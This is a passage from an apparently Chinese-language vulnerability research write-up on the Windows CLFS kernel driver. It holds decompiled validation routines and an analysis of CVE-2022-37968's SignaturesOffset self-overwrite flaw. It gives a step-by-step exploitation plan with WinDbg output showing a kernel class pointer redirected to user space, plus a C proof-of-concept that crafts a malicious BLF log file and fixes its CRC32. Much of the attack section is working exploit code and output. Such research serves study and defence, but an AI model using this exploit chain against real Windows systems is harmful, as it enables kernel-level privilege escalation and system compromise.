(__int64)TableContext); if ( !v16 ) break; v18 = v16[8]; if ( v18 > v15 || !v12[4] ) break; v19 = (const unsigned __int16 *)CClfsBaseFile::OffsetToAddr( this, v18, SignaturesOffset, v17, (__int64)TableContexta); v11 = RtlStringCbLengthW(v19, v15 - v18, &v24); if ( v11 < 0 ) goto LABEL_26; if ( !RtlDeleteElementGenericTableAvl(v7, v12) ) break; v12 = v14; if ( !v14 ) goto LABEL_22; v14 = RtlEnumerateGenericTableAvl(v7, 0); } LABEL_25: v11 = 0xC01A000D; goto LABEL_26; } LABEL_22: ... LABEL_35: ExFreePoolWithTag(v7, 0); return (unsigned int)v11; }
|
然后调用ValidateContainerContextOffsets检查容器信息,然后把容器偏移存入Table,该Table保证容器偏移从小到大排序。这里能看到BufferSize设置的是8,而Buffer低4字节存储容器偏移,高4字节为0,这里高4字节是有意义的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73
| __int64 __fastcall CClfsBaseFile::ValidateContainerContextOffsets( CClfsBaseFilePersisted *this, struct _RTL_AVL_TABLE *a2, struct _CLFS_BASE_RECORD_HEADER *const a3) { int Symbol; ULONG *rgContainers; int v5; unsigned int v6; unsigned int v9; CClfsBaseFile *v10; struct _CLFS_BASE_RECORD_HEADER *v11; __int64 v12; _DWORD *v13; int v14; PVOID inserted; __int64 result; __int64 v17; int Buffer; char v19; __int16 v20; char v21; struct _CLFS_CONTAINER_CONTEXT *v22; unsigned __int8 NewElement;
Symbol = 0; rgContainers = a3->rgContainers; Buffer = 0; v5 = 0; NewElement = 0; v6 = 0; v19 = 0; v20 = 0; v21 = 0; do { v9 = *rgContainers; if ( *rgContainers ) { ++v5; Symbol = CClfsBaseFile::ValidateCheckifWithinSymbolZone((CClfsBaseFile *)this, v9 + 47, a3); if ( Symbol < 0 ) goto LABEL_15; Symbol = CClfsBaseFile::ValidateCheckifWithinSymbolZone(v10, v9 - 48, v11); if ( Symbol < 0 ) goto LABEL_15; v13 = CClfsBaseFile::OffsetToAddr(this, v9, (__int64)v11, v12, v17); if ( !v13 ) goto LABEL_15; v14 = *(v13 - 3); if ( v14 != v9 ) goto LABEL_15; if ( *(v13 - 4) != v14 + 0x30 ) goto LABEL_15; v22 = 0LL; Symbol = CClfsBaseFile::GetSymbol(this, v9, v6, &v22); if ( Symbol < 0 ) goto LABEL_15; if ( v22->cidContainer != v6 ) goto LABEL_15; if ( v22->cidNode.cType != 0xC1FDF008 ) goto LABEL_15; Buffer = *rgContainers - 0x30; inserted = RtlInsertElementGenericTableAvl(a2, &Buffer, 8u, &NewElement); if ( !NewElement || !inserted ) goto LABEL_15; } ++v6; ++rgContainers; } while ( v6 < 0x400 ); ... }
|
ValidateContainerSymTblOffsets函数校验容器符号信息是否正常,它会遍历整个表,调用ValidateTraverseTree函数检查每一个符号。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| __int64 __fastcall CClfsBaseFile::ValidateContainerSymTblOffsets( CClfsBaseFile *this, struct _CLFS_VALIDATE_OFFSET_TABLE *a2, struct _CLFS_BASE_RECORD_HEADER *const a3) { unsigned int v3; int v4; __int64 i; unsigned __int64 v9; __int64 result;
v3 = 0; v4 = 0; for ( i = 0LL; ; i += 8LL ) { v9 = *(_QWORD *)(i + *((_QWORD *)this + 11)); if ( v9 ) { result = CClfsBaseFile::ValidateTraverseTree(this, a2, a3, v9, 0xC1FDF008); v3 = result; if ( (int)result < 0 ) break; } if ( (unsigned int)++v4 >= 0xB ) return v3; } return result; }
|
ValidateTraverseTree函数则会调用ValidateProcessQNode对每个节点进行校验。
1 2 3 4 5 6 7
| v5 = CClfsBaseFile::ValidateProcessQNode( (CClfsBaseFile *)this, a2, a3, (struct _CLFS_VALIDATION_QUEUE_NODE *)v15, &v21, &v22);
|
ValidateProcessQNode函数和之前一样也会进行类似的校验,但是它会对我们Table中对应的容器偏移进行处理,将对应元素的高4字节置1.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54
| __int64 __fastcall CClfsBaseFile::ValidateProcessQNode( CClfsBaseFile *this, struct _RTL_AVL_TABLE *a2, struct _CLFS_BASE_RECORD_HEADER *const a3, struct _CLFS_VALIDATION_QUEUE_NODE *a4, unsigned int *a5, unsigned int *a6) { unsigned int v7; CClfsBaseFilePersisted *v10; __int64 v11; __int64 v12; _DWORD *v13; _DWORD *v14; int v15; int v16; int v17; int v18; PVOID inserted; _BYTE *v21; __int64 v22; unsigned int Buffer; char v24; __int16 v25; char v26; unsigned __int8 NewElement;
Buffer = 0; v7 = *((_DWORD *)a4 + 4); v24 = 0; NewElement = 0; v25 = 0; v26 = 0; if ( (int)CClfsBaseFile::ValidateCheckifWithinSymbolZone(this, v7, a3) < 0 ) goto LABEL_15; v13 = CClfsBaseFile::OffsetToAddr(v10, v7 + 0x30, v11, v12, v22); v14 = v13; if ( !v13 ) goto LABEL_15; v15 = *v13; if ( v15 != *((_DWORD *)a4 + 5) ) goto LABEL_15; v16 = 48; if ( v15 != 0xC1FDF008 ) v16 = 136; ... v21 = RtlLookupElementGenericTableAvl(a2, &Buffer); if ( v21 && !v21[4] ) { v21[4] = 1; goto LABEL_22; } ... }
|
回到ValidateOffsets函数,能看到在末尾还会遍历每一个容器,判断其path偏移是否小于等于下一个容器的偏移(因为path在前面的检查能够看到固定在容器结构体末尾因此实际就是检查容器是否重合),并检查高4字节是否置1。前者是为了保证容器结构体没有重合,后者则是为了保证每一个容器都有一个Symbol对应。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| while ( 1 ) { v15 = v14 ? *v14 : a2->cbSymbolZone + 0x1338; v16 = CClfsBaseFile::OffsetToAddr(this, *(unsigned int *)v12, SignaturesOffset, v13, (__int64)TableContext); if ( !v16 ) break; v18 = v16[8]; if ( v18 > v15 || !v12[4] ) break; v19 = (const unsigned __int16 *)CClfsBaseFile::OffsetToAddr( this, v18, SignaturesOffset, v17, (__int64)TableContexta); v11 = RtlStringCbLengthW(v19, v15 - v18, &v24); if ( v11 < 0 ) goto LABEL_26; if ( !RtlDeleteElementGenericTableAvl(v7, v12) ) break; v12 = v14; if ( !v14 ) goto LABEL_22; v14 = RtlEnumerateGenericTableAvl(v7, 0); }
|
根据上述信息可以了解到官方是如何进行容器重合问题的修复。按照目前的检查逻辑是很难绕过验证的。
小结
这部分主要阐述的是我在分析CLFS框架时发现的漏洞,其中越界漏洞是在分析过程中刚好发现的,而容器类指针的漏洞则是我根据其特性推测出来攻击面从而挖到的。
按照本人的理解,现如今的主流的开发都遵循着一套安全编程规则,已经很难出现简单明显的漏洞了(如这里的越界漏洞),要想挖洞更多的还是根据框架的特性分析出可能存在的攻击面,再针对性的去进行漏洞挖掘。
CVE-2022-37968分析与复现
一、漏洞分析
在先前分析能了解到,BLF文件大体分为三个主要Block–ControlBlock、BaseBlock、TruncateBlock,而每个Block都是由多个扇区(默认每0x200字节为一个扇区)组成。
对于每一个扇区CLFS都会对其进行2字节的签名,通过下图能看到每0x200个字节的末尾都会添加一个10 05的签名,但也能看到这个签名把我们的正常数据都给覆盖了,这显然不合法。

所以CLFS还定义了一个SignaturesTable用来保存我们这些被修改了的数据,当把文件载入进内核时,会对每个扇区进行签名校验并将数据进行恢复。
载入内核时会调用ClfsDecodeBlock进行CRC32校验验证整个Block是否合法,并调用ClfsDecodeBlockPrivate进行扇区数据恢复。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| __int64 __fastcall ClfsDecodeBlock( struct _CLFS_LOG_BLOCK_HEADER *a1, unsigned int a2, char a3, unsigned __int8 a4, unsigned int *a5) { ULONG Padding;
Padding = a1->Padding; if ( !Padding ) { if ( (a4 & 0x10) != 0 && a1->MajorVersion >= 0xFu ) return 3222929418LL; return ClfsDecodeBlockPrivate(a1, a2, a3, a4, a5); } if ( Padding != -1 ) { a1->Padding = 0; if ( Padding == CCrc32::ComputeCrc32(&a1->MajorVersion, a2 << 9) ) return ClfsDecodeBlockPrivate(a1, a2, a3, a4, a5); a1->Padding = Padding; } return 3222929418LL; }
|
ClfsDecodeBlockPrivate函数也会进行安全性校验,检查a2即我们的要解析的扇区数不超出上限,同时还会有个SignaturesOffset的校验,SignaturesOffset用于保存我们SignaturesTable的偏移,这里一样检查了它是否超出我们边界。之后开始遍历Block中的所有扇区,验签并替换回本身数据。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79
| __int64 __fastcall ClfsDecodeBlockPrivate( struct _CLFS_LOG_BLOCK_HEADER *a1, unsigned int a2, char a3, unsigned __int8 a4, unsigned int *a5) { int v9; __int64 SignaturesOffset; unsigned int v11; int v12; UCHAR *v13; unsigned int i; __int64 v15; char v16; char v17; char v18; char v19; __int64 v20; char v21; __int64 result;
if ( !a2 ) return 0xC000000DLL; if ( a1->MajorVersion != 21 || a1->MinorVersion ) return 0xC01A0009LL; if ( a2 < (unsigned __int16)a1->ClientId ) return 0xC01A000ALL; if ( a4 > 0x10u ) return 0xC000000DLL; v9 = 0x10111; if ( !_bittest(&v9, a4) ) return 0xC000000DLL; if ( (a1->Checksum & 1) == 0 ) return 0xC01A000ALL; SignaturesOffset = a1->SignaturesOffset; v11 = a2 << 9; v12 = 2 * a2; v13 = &a1->MajorVersion + SignaturesOffset; if ( (SignaturesOffset & 7) != 0 || v12 + (unsigned int)SignaturesOffset > v11 ) return 0xC01A000ALL; for ( i = a2; ; --i ) { v15 = i - 1; v16 = i == 1 ? 64 : 0; v17 = a4 | v16; v18 = a2 == i ? 32 : 0; v19 = v18 | v17; v20 = (unsigned int)((_DWORD)v15 << 9); v21 = *((_BYTE *)&a1[4].RecordOffsets[5] + v20 + 2); if ( v21 < 0 ) break; if ( *((_BYTE *)&a1[4].RecordOffsets[5] + v20 + 3) != a3 ) { result = 0xC01A0002LL; goto LABEL_37; } if ( (v19 & 4) != 0 && (v21 & 4) == 0 || (v19 & 0x40) != 0 && (v21 & 0x40) == 0 || (v19 & 0x20) != 0 && (v21 & 0x20) == 0 || (v19 & 8) != 0 && (v21 & 8) == 0 || (v19 & 0x10) != 0 && (v21 & 0x10) == 0 ) { result = 3222929409LL; goto LABEL_37; } *(_WORD *)((char *)&a1[4].RecordOffsets[5] + v20 + 2) = *(_WORD *)&v13[2 * v15]; if ( !(_DWORD)v15 ) { a1->Checksum = a1->Checksum & 0xFFFFFFFC | 2; *a5 = 0; return 0LL; } } result = 3222929411LL; LABEL_37: *a5 = i - 1; return result; }
|
由此我们可以知道SignaturesOffset只会被限制在Block区间,但不会像ContainerContext一样被限制在BaseRecord末尾到Block末尾之间。
这意味着我们可以通过SignaturesOffset修改Block内的任何数据,这样的操作是被定义为合法的,它甚至可以修改自己。
前文有提到ClfsDecodeBlockPrivate是将SignaturesOffset指向的SignaturesTable里的数据替换到每一个扇区签名位置,而对应得ClfsEecodeBlockPrivate则刚好与之相反,它会把每个扇区签名位置得数据全都重新保存回SignaturesTable。
这意味着如果我们构造SignaturesOffset指向自己,在进行ClfsEecodeBlockPrivate时会将它自己进行修改。在前面我们验证了SignaturesOffset是否超过边界,但是在此处竟然会对我们的SignaturesOffset进行修改,这个时候就没有再检查越界了。
而CLFS有一个AllocSymbol函数,它的作用是为新的Symbol申请新的区域,而区域需要被限制在我们的Block界内,此处将其限制在了我们的SignaturesTable之前。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| __int64 __fastcall CClfsBaseFilePersisted::AllocSymbol(CClfsBaseFilePersisted *this, unsigned int a2, UCHAR **a3) { __int64 v4; struct _CLFS_BASE_RECORD_HEADER *BaseLogRecord; CClfsBaseFilePersisted *v6; struct _CLFS_BASE_RECORD_HEADER *v7; struct _CLFS_LOG_BLOCK_HEADER *v8; __int64 cbSymbolZone; UCHAR *v10; __int64 result;
v4 = a2; BaseLogRecord = CClfsBaseFile::GetBaseLogRecord((CClfsBaseFile *)this); v7 = BaseLogRecord; if ( !BaseLogRecord ) return 3222929421LL; v8 = v6->BlocksInfo[2].pbImage; *a3 = 0LL; cbSymbolZone = BaseLogRecord->cbSymbolZone; if ( &BaseLogRecord->cUsn + cbSymbolZone + v4 > &v8->MajorVersion + v8->SignaturesOffset ) return 3221225507LL; v10 = &BaseLogRecord->cUsn + cbSymbolZone; memset(v10, 0, (unsigned int)v4); v7->cbSymbolZone += v4; result = 0LL; *a3 = v10; return result; }
|
根据以上分析可以知道漏洞成因还是对我们的SignaturesOffset管控不严格,使得SignaturesTable可以在Block内的任何位置,从而导致SignaturesOffset被Table篡改。
所以漏洞修复也很简单,只需要限制SignaturesTable在我们的Record末尾之后即可。官方给的补丁则是在初始化时必定调用的LoadContainerQ函数里加了一串对SignaturesOffset的检查,要求cbSymbolZone在SignaturesOffset前面,又因为cbSymbolZone必定在Record末尾之后,所以就能保证SignaturesOffset被限制在Record之后了。
1 2 3 4 5 6 7 8 9 10 11
| if ( pbImage->SignaturesOffset > (unsigned __int16)pbImage->ClientId << 9 ) { Symbol = -1072037875; v79 = -1072037875; v20 = a7; goto LABEL_157; } if ( (int)ULongLongAdd((unsigned __int64)&BaseLogRecord->cUsn, BaseLogRecord->cbSymbolZone, &v96) < 0 || (int)ULongLongAdd((unsigned __int64)pbImage, v21, &v95) < 0 || v96 > v95 ) {
|
二、漏洞利用
主要利用还是得靠AllocSymbol函数,先通过构造自写修改SignaturesOffset为足够大的值,同时配置cbSymbolZone为我们要越界读写的偏移,再调用AllocSymbol函数实现Symbol的越界申请。
这里有一个前提,要先构造SignaturesOffset自写。首先我们知道一开始调用ClfsDecodeBlock就会将SignaturesTable的值恢复给各个扇区。

之后在进行FlushImage时会调用ClfsEncodeBlock重新将扇区数据写回SignaturesTable,而我们在调用CClfsBaseFilePersisted::LoadContainerQ时会调用FlushImage刷新,因此我们只需要能够在载入数据之后,调用LoadContainerQ之前修改我们各扇区末尾的数据,就会将修改后的数据载入回SignaturesTable从而进行SignaturesOffset覆盖。
在我们LoadContainerQ之前存在这样一段初始化代码,如果我们的FirstClient->eState & 0x20 != 0并且_IsMultiplexed校验(FirstClient->eState & 0x100 != 0)就会调用我们的ResetLog函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| fAttributes = v82->fAttributes; this->CurrentClientAtributes = fAttributes; HIDWORD(this->field_4F0) = v28->cbFlushThreshold; if ( a10 ) this->CurrentClientAtributes = fAttributes | 2; v30 = v82; if ( (v82->eState & 0x20) == 0 || ((unsigned __int8 (__fastcall *)(_QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _QWORD))this->CClfsLogFcbCommonVftable->_IsMultiplexed)( this, this->CClfsLogFcbCommonVftable->_IsMultiplexed, v27, v16, BugCheckParameter4, v74) ) { ... } else { CClfsLogFcbPhysical::ResetLog(this); LODWORD(this->field_15C) |= 0x40u; }
|
ResetLog函数会初始化类的一些参数,并将参数同步到我们的FirstClient,这里可以看到存在一个CLFS_LSN_INVALID向FirstClient->lsnRestart的赋值,而我们的CLFS_LSN_INVALID是一个0xFFFFFFFF00000000大小的ULONGLONG值,如果我们可以布置FirstClient在我们扇区对应位置,之后利用ResetLog的lsnRestart值修改来修改扇区签名为0xFFFF就能够实现修改SignaturesOffset高2字节为0xFFFF,从而引发越界。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| __int64 __fastcall CClfsLogFcbPhysical::ResetLog(CClfsLogFcbPhysical *this) { struct _CLFS_CLIENT_CONTEXT *v2; __int64 v4; unsigned __int8 v5; CClfsBaseFilePersisted *CClfsBaseFilePersisted; struct _CLFS_CLIENT_CONTEXT *v7;
this->CreateTime = 0LL; this->WriteTime = 0LL; this->AccessTime = 0LL; v7 = 0LL; this->lsnArchiveTail = CLFS_LSN_NULL.ullOffset; this->lsnBase = CLFS_LSN_NULL.ullOffset; this->CurrentLsn = CLFS_LSN_NULL; this->lsnLast = CLFS_LSN_NULL.ullOffset; this->lsnRestart = CLFS_LSN_INVALID.ullOffset; this->field_1C8 = 0LL; this->ullOffset0 = CLFS_LSN_NULL.ullOffset; CClfsBaseFile::AcquireClientContext((PERESOURCE *)this->CClfsBaseFilePersisted, 0, &v7); v2 = v7; if ( !v7 ) return 3222929421LL; v7->llCreateTime.QuadPart = this->CreateTime; v2->llAccessTime.QuadPart = this->AccessTime; v2->llWriteTime.QuadPart = this->WriteTime; v2->lsnArchiveTail.ullOffset = this->lsnArchiveTail; v2->lsnBase.ullOffset = this->lsnBase; v2->lsnLast.ullOffset = this->lsnLast; v2->lsnRestart.ullOffset = this->lsnRestart; ... }
|
利用流程:
- 先堆风水控制使得创建的两个BLF文件对应的BASE BLOCK相邻0x8000偏移。
- 修改第一个BLF文件的SignaturesOffset为SIGNATURE_OFFSET + 2 - 2 * (0x2200 / 0x200))=0x48,再布置ClientContext在我们的 0x2400 - BASE_RECORD_OFFSET - 0x60 = 0x2330偏移处(要注意ClientContext-0x10的两个偏移指针的布置),修改BASE_RECORD中的rgClient[0]为对应偏移。同时修改cbSymbolZone为我们的任意越界偏移。
- 设置ClientContext的fAttributes|=0x100绕过IsMultiplexed检查,同时也修改eState|=0x20绕过另一个检查进入ResetLog分支。
- ResetLog修改FirstClient->lsnRestart为0xFFFFFFFF00000000,使得刚好让0x23FE处的值为0xFFFF。
- LoadContainerQ调用FlushImage触发SignaturesOffset的修改实现越界条件。
- 调用AddContainer触发AllocSymbol函数,基于cbSymbolZone分配新区域(因为其大小基于SignaturesOffset进行检查,SignaturesOffset越界也能使得cbSymbolZone越界),从而分配到越界区域的内存进行越界操作。
越界之后需要进行利用,我们这里选择通过创建一个新容器,让新容器的Symbol标识淹没被越界Block的容器的类指针,如下能看到此时memset修改的正是类指针:
1 2 3 4 5 6 7 8 9 10 11 12 13
| 1: kd> g Breakpoint 0 hit CLFS!CClfsBaseFilePersisted::AllocSymbol+0x67: fffff800`5bf96e17 e86458fdff call CLFS!memset (fffff800`5bf6c680) 0: kd> db rcx ffffc000`4e8ee518 50 86 90 4d 00 c0 ff ff-01 00 00 00 02 00 00 00 P..M............ ffffc000`4e8ee528 00 00 00 00 00 00 00 00-5c 00 3f 00 3f 00 5c 00 ........\.?.?.\. ffffc000`4e8ee538 43 00 3a 00 5c 00 55 00-73 00 65 00 72 00 73 00 C.:.\.U.s.e.r.s. ffffc000`4e8ee548 5c 00 30 00 72 00 62 00-31 00 74 00 5c 00 44 00 \.0.r.b.1.t.\.D. ffffc000`4e8ee558 65 00 73 00 6b 00 74 00-6f 00 70 00 5c 00 43 00 e.s.k.t.o.p.\.C. ffffc000`4e8ee568 56 00 45 00 2d 00 32 00-30 00 32 00 32 00 2d 00 V.E.-.2.0.2.2.-. ffffc000`4e8ee578 33 00 37 00 39 00 36 00-39 00 5c 00 43 00 6f 00 3.7.9.6.9.\.C.o. ffffc000`4e8ee588 6e 00 74 00 61 00 69 00-6e 00 65 00 72 00 32 00 n.t.a.i.n.e.r.2.
|
能够看到该类指针成功被我们修改成了一个符合用户空间规范的指针:
1 2 3 4 5 6 7 8 9
| 1: kd> db ffffc000`4e8ee518 ffffc000`4e8ee518 06 f0 fd c1 30 00 00 00-52 fe 50 02 60 00 00 00 ....0...R.P.`... ffffc000`4e8ee528 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ ffffc000`4e8ee538 08 95 00 00 d8 94 00 00-00 00 00 00 00 00 00 00 ................ ffffc000`4e8ee548 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ ffffc000`4e8ee558 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ ffffc000`4e8ee568 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ ffffc000`4e8ee578 5c 00 3f 00 3f 00 5c 00-43 00 3a 00 5c 00 55 00 \.?.?.\.C.:.\.U. ffffc000`4e8ee588 73 00 65 00 72 00 73 00-5c 00 30 00 72 00 62 00 s.e.r.s.\.0.r.b.
|
我们只需要在用户态申请这样对应地址的内存区域即可实现类指针的劫持,从而调用我们伪造的vftable函数进行利用。
能看到在close的时候会获取这里的vftable对应的close
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| 1: kd> ba r8 ffffc000`4e8ee518 1: kd> g Breakpoint 1 hit CLFS!CClfsLogFcbPhysical::CloseContainers+0x5f: fffff800`5bf667a3 4885c9 test rcx,rcx 1: kd> r rcx rcx=00000030c1fdf006 1: kd> u rip CLFS!CClfsLogFcbPhysical::CloseContainers+0x5f: fffff800`5bf667a3 4885c9 test rcx,rcx fffff800`5bf667a6 741b je CLFS!CClfsLogFcbPhysical::CloseContainers+0x7f (fffff800`5bf667c3) fffff800`5bf667a8 e8c3a40200 call CLFS!CClfsContainer::Close (fffff800`5bf90c70) fffff800`5bf667ad 488b4d18 mov rcx,qword ptr [rbp+18h] fffff800`5bf667b1 488b01 mov rax,qword ptr [rcx] fffff800`5bf667b4 488b4008 mov rax,qword ptr [rax+8] fffff800`5bf667b8 ff15a2dd0100 call qword ptr [CLFS!_guard_dispatch_icall_fptr (fffff800`5bf84560)] fffff800`5bf667be 4883651800 and qword ptr [rbp+18h],0
|
三、POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217
| #include <stdio.h> #include <Windows.h> #include <clfsw32.h> #include "CLFS_Test.h" #include "clfs.sys.h"
#pragma comment(lib, "clfsw32.lib")
void ErrorQuit(const char* data) { perror(data); exit(1); }
void CalcCRC32(FILE* fp) { static bool isInit = 0; static DWORD32 rgCrcTable[0x100]; if (!isInit) { for (int i = 0; i < 0x100; i++) { unsigned int k = i, v2 = 0; for (int j = 1; j <= 8; ++j) { if ((k & 1) != 0) v2 = (1 << (8 - j)) | (unsigned int)v2; k >>= 1; } unsigned int v3 = 8; int v4 = v2 << 24; do { v4 = (v4 < 0 ? 0x4C11DB7 : 0) ^ (2 * v4); --v3; } while (v3); v2 = 0, k = v4; for (int j = 1; j <= 0x20; ++j) { if ((k & 1) != 0) v2 = (1 << (0x20 - j)) | (unsigned int)v2; k >>= 1; } rgCrcTable[i] = v2; } isInit = 1; } fseek(fp, BASE_BLOCK_OFFSET, SEEK_SET); unsigned char* buff = (unsigned char*)malloc(BASE_BLOCK_SIZE); if (!buff) ErrorQuit("Failed to malloc"); fread(buff, 1, BASE_BLOCK_SIZE, fp); *(DWORD32*)&buff[0xC] = 0; unsigned int v2 = 0xFFFFFFFF, v3 = 0; for (int i = 0; i < BASE_BLOCK_SIZE; i++) { unsigned int v5 = buff[i]; v2 = (v2 >> 8) ^ rgCrcTable[(v2 ^ v5) & 0xFF]; } v2 = ~v2; printf("CRC32: %x\n", v2); fseek(fp, BASE_BLOCK_OFFSET + CRC32_OFFSET, SEEK_SET); fwrite(&v2, 4, 1, fp); free(buff); }
void EditSignatureOffset(FILE* fp, ULONG off) { fseek(fp, BASE_BLOCK_OFFSET + SIGNATURE_OFFSET, SEEK_SET); fwrite(&off, 4, 1, fp); }
void EditcbSymbolZone(FILE* fp, ULONG off) { fseek(fp, BASE_BLOCK_OFFSET + BASE_RECORD_OFFSET + CBSYMBOL_ZONE_OFFSET, SEEK_SET); fwrite(&off, 4, 1, fp); }
void EditClientContext(FILE* fp, ULONG off, PCLFS_CLIENT_CONTEXT pclient, PCLFS_SYMBOL_HEADER psym) { CLFS_BASE_RECORD_HEADER baseRecord; ULONG symbolHeader[0x30 / 4] = { 0 }; fseek(fp, BASE_BLOCK_OFFSET + BASE_RECORD_OFFSET, SEEK_SET); fread(&baseRecord, sizeof(baseRecord), 1, fp); baseRecord.rgClients[pclient->cidClient] = off; fseek(fp, BASE_BLOCK_OFFSET + BASE_RECORD_OFFSET, SEEK_SET); fwrite(&baseRecord, sizeof(baseRecord), 1, fp); fseek(fp, BASE_BLOCK_OFFSET + BASE_RECORD_OFFSET + off, SEEK_SET); ULONG aboff = BASE_BLOCK_OFFSET + BASE_RECORD_OFFSET + off; if (aboff % 0x200 + sizeof(*pclient) >= 0x200){ *(USHORT*)((char*)pclient + (0x1FE - aboff % 0x200)) = SECTOR_SIGNATURE; } fwrite(pclient, sizeof(*pclient), 1, fp); aboff -= 0x30; if (aboff % 0x200 + sizeof(*psym) >= 0x200) { *(USHORT*)((char*)psym + (0x1FE - aboff % 0x200)) = SECTOR_SIGNATURE; } fseek(fp, BASE_BLOCK_OFFSET + BASE_RECORD_OFFSET + off - 0x30, SEEK_SET); fwrite(psym, sizeof(*psym), 1, fp); }
void MoveClientContext(FILE* fp, ULONG off, CLFS_CLIENT_ID clientId){ CLFS_BASE_RECORD_HEADER baseRecord; CLFS_CLIENT_CONTEXT client; CLFS_SYMBOL_HEAER sym; fseek(fp, BASE_BLOCK_OFFSET + BASE_RECORD_OFFSET, SEEK_SET); fread(&baseRecord, sizeof(baseRecord), 1, fp); for (int i = 0; i < 11; i++) { if (baseRecord.rgClientSymTbl[i] == baseRecord.rgClients[clientId] - 0x30) { baseRecord.rgClientSymTbl[i] = off - 0x30; } } fseek(fp, BASE_BLOCK_OFFSET + BASE_RECORD_OFFSET, SEEK_SET); fwrite(&baseRecord, sizeof(baseRecord), 1, fp); fseek(fp, BASE_BLOCK_OFFSET + BASE_RECORD_OFFSET + baseRecord.rgClients[clientId], SEEK_SET); fread(&client, sizeof(client), 1, fp); printf("Client %d offset: %x\n", clientId, baseRecord.rgClients[clientId]); fseek(fp, BASE_BLOCK_OFFSET + BASE_RECORD_OFFSET + baseRecord.rgClients[clientId] - 0x30, SEEK_SET); fread(&sym, sizeof(sym), 1, fp); sym.contextOff = off; sym.strOff = off + sizeof(sym); EditClientContext(fp, off, &client, &sym); }
void TriggerResetLog(FILE* fp) { CLFS_BASE_RECORD_HEADER baseRecord; CLFS_CLIENT_CONTEXT client; fseek(fp, BASE_BLOCK_OFFSET + BASE_RECORD_OFFSET, SEEK_SET); fread(&baseRecord, sizeof(baseRecord), 1, fp); fseek(fp, BASE_BLOCK_OFFSET + BASE_RECORD_OFFSET + baseRecord.rgClients[0], SEEK_SET); fread(&client, sizeof(client), 1, fp); client.fAttributes |= 0x100; client.eState |= 0x20; fseek(fp, BASE_BLOCK_OFFSET + BASE_RECORD_OFFSET + baseRecord.rgClients[0], SEEK_SET); fwrite(&client, sizeof(client), 1, fp); }
void templates() {
HANDLE logFile = CreateLogFile((LPCWSTR)CURR_FOLDER"Mylog", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL); if (logFile == NULL) { perror("Failed to create logfile: "); exit(1); }
ULONGLONG pcbContainer = 0x200; if (!AddLogContainer(logFile, &pcbContainer, (LPWSTR)CURR_FOLDER"Container", 0)) { perror("Failed to add container."); exit(1); }
LPVOID pvMarshal = NULL; if (!CreateLogMarshallingArea(logFile, NULL, NULL, NULL, 0x200 * 8, 5, 1, &pvMarshal)) { perror("Failed to create marshal."); exit(1); }
char buf[0x200] = "Test1"; CLS_WRITE_ENTRY cwe; cwe.Buffer = buf; cwe.ByteLength = 0x100; CLFS_LSN lsn1, lsn2; if (!ReserveAndAppendLog(pvMarshal, &cwe, 1, NULL, NULL, 0, NULL, CLFS_FLAG_FORCE_FLUSH, &lsn1, NULL)) { perror("Failed to append:"); exit(1); }
LPVOID readBuffer = NULL, readContext; ULONG rBufLen = 0; CLFS_RECORD_TYPE crt; CLS_LSN undoNextLsn, prevLsn; if (!ReadLogRecord(pvMarshal, &lsn1, ClfsContextForward, &readBuffer, &rBufLen, &crt, &undoNextLsn, &prevLsn, &readContext, 0)) { perror("Failed to read record:"); exit(1); } CloseHandle(logFile); }
void PocFileOperation() { FILE* fp = fopen("Mylog.blf", "r+b"); MoveClientContext(fp, 0x2400 - BASE_RECORD_OFFSET - 0x60, 0); EditSignatureOffset(fp, SIGNATURE_OFFSET + 2 - 2 * (0x2200 / 0x200)); EditcbSymbolZone(fp, 0x15C8 - 0x60 - 0x68 - 0x68 + 0x8000 - BASE_RECORD_OFFSET - BASE_RECORD_SIZE); TriggerResetLog(fp); CalcCRC32(fp); fclose(fp); }
